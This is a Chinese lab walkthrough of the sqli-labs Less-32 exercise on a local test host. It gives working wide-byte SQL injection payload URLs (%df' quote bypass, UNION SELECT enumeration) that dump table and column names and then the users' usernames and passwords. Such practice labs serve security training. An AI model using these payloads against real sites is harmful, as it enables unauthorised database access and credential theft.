宽字节注入（less-32）

1.判断注入类型

http://127.0.0.3/less-32/?id=1

http://127.0.0.3/less-32/?id=1'

出现 \’ 则证明是宽字节注入

2.构成闭环

http://127.0.0.3/less-32/?id=1%df' -- s

显示登录成功则构成闭环

3.查询字段数

http://127.0.0.3/less-32/?id=1%df' order by 4 -- s

http://127.0.0.3/less-32/?id=1%df' order by 3 -- s

说明字段数为3

4.用union联合查询判断回显点

http://127.0.0.3/less-32/?id=-1%df' union select 1,2,3 -- s 记住前面要加 - 因为不加 - 则会正常查询第一个数不会执行联合查询

5.查询数据库名

http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),3 -- s

6.查询表名

http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- s

爆出security里面的table表

7.查询字段名

http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 -- s

8.查username和password

http://127.0.0.3/less-32/?id=-1%df' union select 1,group_concat(username),group_concat(password) from users -- s